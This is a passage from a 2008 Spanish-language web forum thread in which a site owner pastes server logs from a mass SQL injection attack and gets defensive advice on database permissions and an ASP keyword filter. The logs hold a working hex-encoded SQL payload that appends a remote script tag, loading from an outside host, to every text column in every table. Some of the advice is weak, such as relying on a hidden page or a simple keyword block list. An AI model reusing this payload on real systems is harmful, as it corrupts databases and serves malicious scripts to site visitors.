Foros del Web » Soporte técnico » Virus, troyanos y spyware »

Ayuda por favor...

Estas en el tema de Ayuda por favor... en el foro de Virus, troyanos y spyware en Foros del Web. Bueno en los logs, he enontrado por donde se meten. Miren este registro del log: Cita: 2008-06-29 19:33:08 W3SVC7494 MISERVIDOR 67.xxx.xxx.xxx GET /ficha.asp Id=66506;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAS T(0x4445434C41524520405420564152434841522832353529 ...

  #31 (permalink)  
Antiguo 01/07/2008, 11:25
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 19 años, 7 meses
Puntos: 6
Respuesta: Ayuda por favor...

Bueno en los logs, he enontrado por donde se meten.

Miren este registro del log:

Cita:

2008-06-29 19:33:08 W3SVC7494 MISERVIDOR 67.xxx.xxx.xxx GET /ficha.asp Id=66506;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAS T(0x4445434C41524520405420564152434841522832353529 2C404320564152434841522832353529204445434C41524520 5461626C655F437572736F7220435552534F5220464F522053 454C45435420612E6E616D652C622E6E616D652046524F4D20 7379736F626A6563747320612C737973636F6C756D6E732062 20574845524520612E69643D622E696420414E4420612E7874 7970653D27752720414E442028622E78747970653D3939204F 5220622E78747970653D3335204F5220622E78747970653D32 3331204F5220622E78747970653D31363729204F50454E2054 61626C655F437572736F72204645544348204E455854204652 4F4D205461626C655F437572736F7220494E544F2040542C40 43205748494C4528404046455443485F5354415455533D3029 20424547494E20455845432827555044415445205B272B4054 2B275D20534554205B272B40432B275D3D525452494D28434F 4E5645525428564152434841522834303030292C5B272B4043 2B275D29292B27273C736372697074207372633D687474703A 2F2F7777772E616477737570702E636F6D2F622E6A733E3C2F 7363726970743E27272729204645544348204E455854204652 4F4D205461626C655F437572736F7220494E544F2040542C40 4320454E4420434C4F5345205461626C655F437572736F7220 4445414C4C4F43415445205461626C655F437572736F7220%2 0AS%20VARCHAR(4000));EXEC(@S);--|-|ASP_0113|Script_timed_out 80 - 201.242.212.219 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CL R+2.0.50727) - - www.misitio.com 500 0 1236 0 1415 459265
Creo que el error que cometi es que no estaba aplicando un filtro de cadena a las variables de tipo numericos. Veo que por aqui se metieron.

ahora miren este otro registro de log que es el que le sigue:

Cita:

2008-06-29 19:33:08 W3SVC7494 MISERVIDOR67.xxx.xxx.xxxGET /Images/<script+src=http:/www.adwsupp.com/b.js></script><script+src=http:/www.adwsupp.com/b.js></script><script+src=http:/www.adwsupp.com/b.js></script><script+src=http:/www.adwsupp.com/b.js></script> - 80 - 200.122.78.101 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+InfoPat h.2;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.30) ASPSESSIONIDCSRSDSQA=BDBLJBDDCIGBKENFPLIONMBM http://www.misitio.com/Busqueda.asp?...apital+Federal www.misitio.com 404 2 1260 1795 695 265
No interpreto bien este log, la cadena de "< script " es la que se inserta en la base de datos , pero pareciera que la mete en un directorio de imagenes, como puedo interpretar esto? especificamente que es lo que hace?

Gracias por la ayuda!
  #32 (permalink)  
Antiguo 02/07/2008, 00:43
 
Fecha de Ingreso: noviembre-2003
Mensajes: 35
Antigüedad: 21 años, 2 meses
Puntos: 0
Respuesta: Ayuda por favor...

Cita:
Iniciado por @padawan@ Ver Mensaje
Yo tengo el nod32 y no tengo virus en el servidor, al menos eso creo, porque todavia no se como se produce la inyeccion sql si es que es un virus residente en mi servidor o me bombean desde afuera.

Voy a probar con el trend, es gratuito el trend o tiene licencia?
Hola @padawan@,
El trend tiene licencia. De todos modos creo que los que detectan este virus son el trend, el kaspersky y el avira (y como sabes estos dos últimos si son gratuitos).
En cualquier caso, el trend tiene una versión gratuita.
Mira este enlace:
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=JS%5FBUREY%2EM&VSect=P
En el apartado de "solución" verás un "online virus scanner".
Espero que pueda echarte una mano.

¡Salud!
  #33 (permalink)  
Antiguo 03/07/2008, 02:17
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años, 8 meses
Puntos: 1
Respuesta: Ayuda por favor...

Veo que seguis dandole vuelta a un problema que tiene una solucion realmente simple. Desde que me ocurrio a mi hasta parar el problema apenas fueron 72h. y es que es evidente por donde entra, de hecho vosotros estais indicando la solucion en vuestros post.

Ante todo la inyección no tiene nada que ver con estar infectado en el servidor, el mio no tiene ni tuvo ninguna infección y se me destrozaban todas las bases de datos de SQL.

Seguir estos simples pasos y vereis que todo está resuelto:

1.- El usuario que tenga la web no debe tener permisos DBO, solo de lectura y escritura de información, el resto es dejar puertas abiertas.

2.- En cada pagina.asp debe estar al principio esto:
tmp=request.QueryString
if instr(tmp,";")<>0 or instr(tmp,"declare")<>0 or instr(tmp,"[") or instr(tmp,"(")<>0 then
response.Redirect("infectada.asp")
end if

Con esto se filtra todo lo que entra inyectado y antes de abrir o tocar nada rediriges el usuario a una pagina de aviso que no toca nada de datos.

Seguir estas dos normas y vereis que se acabaron los dolores de cabeza.
  #34 (permalink)  
Antiguo 03/07/2008, 10:16
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 19 años, 7 meses
Puntos: 6
Respuesta: Ayuda por favor...

Cita:
Iniciado por mastercafe Ver Mensaje
Veo que seguis dandole vuelta a un problema que tiene una solucion realmente simple. Desde que me ocurrio a mi hasta parar el problema apenas fueron 72h. y es que es evidente por donde entra, de hecho vosotros estais indicando la solucion en vuestros post.

Ante todo la inyección no tiene nada que ver con estar infectado en el servidor, el mio no tiene ni tuvo ninguna infección y se me destrozaban todas las bases de datos de SQL.

Seguir estos simples pasos y vereis que todo está resuelto:

1.- El usuario que tenga la web no debe tener permisos DBO, solo de lectura y escritura de información, el resto es dejar puertas abiertas.

2.- En cada pagina.asp debe estar al principio esto:
tmp=request.QueryString
if instr(tmp,";")<>0 or instr(tmp,"declare")<>0 or instr(tmp,"[") or instr(tmp,"(")<>0 then
response.Redirect("infectada.asp")
end if

Con esto se filtra todo lo que entra inyectado y antes de abrir o tocar nada rediriges el usuario a una pagina de aviso que no toca nada de datos.

Seguir estas dos normas y vereis que se acabaron los dolores de cabeza.
Gracias compañero!

Bueno con el segundo punto no tengo dudas que esta correcto, ya que tengo una funcion que tiene esas restricciones y ademas tiene mas controles.

Pero con resecto al primero estoy con dudas porque no soy muy ducho con sql server, te comento que los permisos a la base del usuario que accede a la web son public y db_owner, esto esta bien?
  #35 (permalink)  
Antiguo 04/07/2008, 04:24
 
Fecha de Ingreso: mayo-2006
Ubicación: Oviedo - Asturias
Mensajes: 23
Antigüedad: 18 años, 8 meses
Puntos: 1
Respuesta: Ayuda por favor...

Sobre el tema de SQL yo siempre uso un DBO para trabajar internamente, cambiar datos, estructura, tablas, etc...
Pero en cuanto a la web el usuario está limitado a solo db_datareader y db_datawriter de esa forma no tiene permisos para ejecutar procedimientos almacenados.
Dentro de la web me surgio un problema en algun modulo que usaba procedimientos almacenados, he optado por cambiar el codigo y reconstruir ese proceso para ejecutarlo por ajax contra un asp oculto que no hay forma de localizar en un posible ataque y alli mando que proced. necesito ejecutar.

Sobre el apartado de tienes claro (el filtro) recuerda que lo más importante es que esté siempre antes de procesar cualquier otra linea de la web, asi evitas hacer un open si viene codigo maligno.
  #36 (permalink)  
Antiguo 04/07/2008, 07:10
Avatar de @padawan@  
Fecha de Ingreso: julio-2005
Mensajes: 393
Antigüedad: 19 años, 7 meses
Puntos: 6
Respuesta: Ayuda por favor...

Cita:
Iniciado por mastercafe Ver Mensaje
Sobre el tema de SQL yo siempre uso un DBO para trabajar internamente, cambiar datos, estructura, tablas, etc...
Pero en cuanto a la web el usuario está limitado a solo db_datareader y db_datawriter de esa forma no tiene permisos para ejecutar procedimientos almacenados.
Dentro de la web me surgio un problema en algun modulo que usaba procedimientos almacenados, he optado por cambiar el codigo y reconstruir ese proceso para ejecutarlo por ajax contra un asp oculto que no hay forma de localizar en un posible ataque y alli mando que proced. necesito ejecutar.

Sobre el apartado de tienes claro (el filtro) recuerda que lo más importante es que esté siempre antes de procesar cualquier otra linea de la web, asi evitas hacer un open si viene codigo maligno.
Yo tambien uso el dbo para usos internos , y otro usuario para la web, una vez intente darle los permisos datareader y datawriter pero me saltaban errores por todos lados.

ahora te quisiera hacer una pregunta, yo tengo el usuario web sql que en la pertes de permission en la solapa de propiedades del usuario, y ahi tenes todas tus tablas y se puede seleccionar que puede hacer el usuario en cada tabla, tipo uptade , insert, delete, etc. debere seleccionar los permisos adecuados para cada tabla par que el usuario funcione bien en caso de asignarle los permisos datareader y datawriter ?? porque sino no me conviene ya que me tira un monton de errores.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta

SíEste tema le ha gustado a 1 personas (incluyéndote)




La zona horaria es GMT -6. Ahora son las 01:38.